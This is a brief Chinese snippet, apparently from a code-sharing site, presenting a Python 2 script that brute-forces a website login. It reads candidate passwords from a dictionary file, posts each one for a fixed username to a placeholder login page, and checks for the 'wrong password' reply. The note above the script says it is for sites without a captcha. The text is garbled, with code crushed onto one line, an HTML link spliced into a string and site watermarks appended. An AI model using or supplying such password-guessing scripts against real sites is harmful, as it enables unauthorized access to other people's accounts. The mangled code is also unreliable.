注:针对没有验证码的情况
实例代码:
#encoding=utf-8 import httplib,urllib conn = httplib.HTTPConnection("www.xxx.cn") f=open("dict.txt") while 1: pwd=f.readline().strip() if not pwd: print "字典已比对完。" break params = urllib.urlencode({"username": "xxx", "mod": "", "password": pwd}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"} conn.request("GET", "/login/aaa.asp", params, headers) r = conn.getresponse() print r.status, r.reason data1 = r.read().decode("gbk")#编码根据实际情况酌情处理 print data1.index(u"您输入的<a href="https://www.gaodaima.com/tag/%e5%af%86%e7%a0%81" title="查看更多关于密码的文章" target="_blank">密码</a>有误"),"您输入的密码"%s"有误"%pwd conn.close()
www#gaodaima.com来源gaodai$ma#com搞$代*码网搞代码
来源:搞代码网:原文地址:https://www.gaodaima.com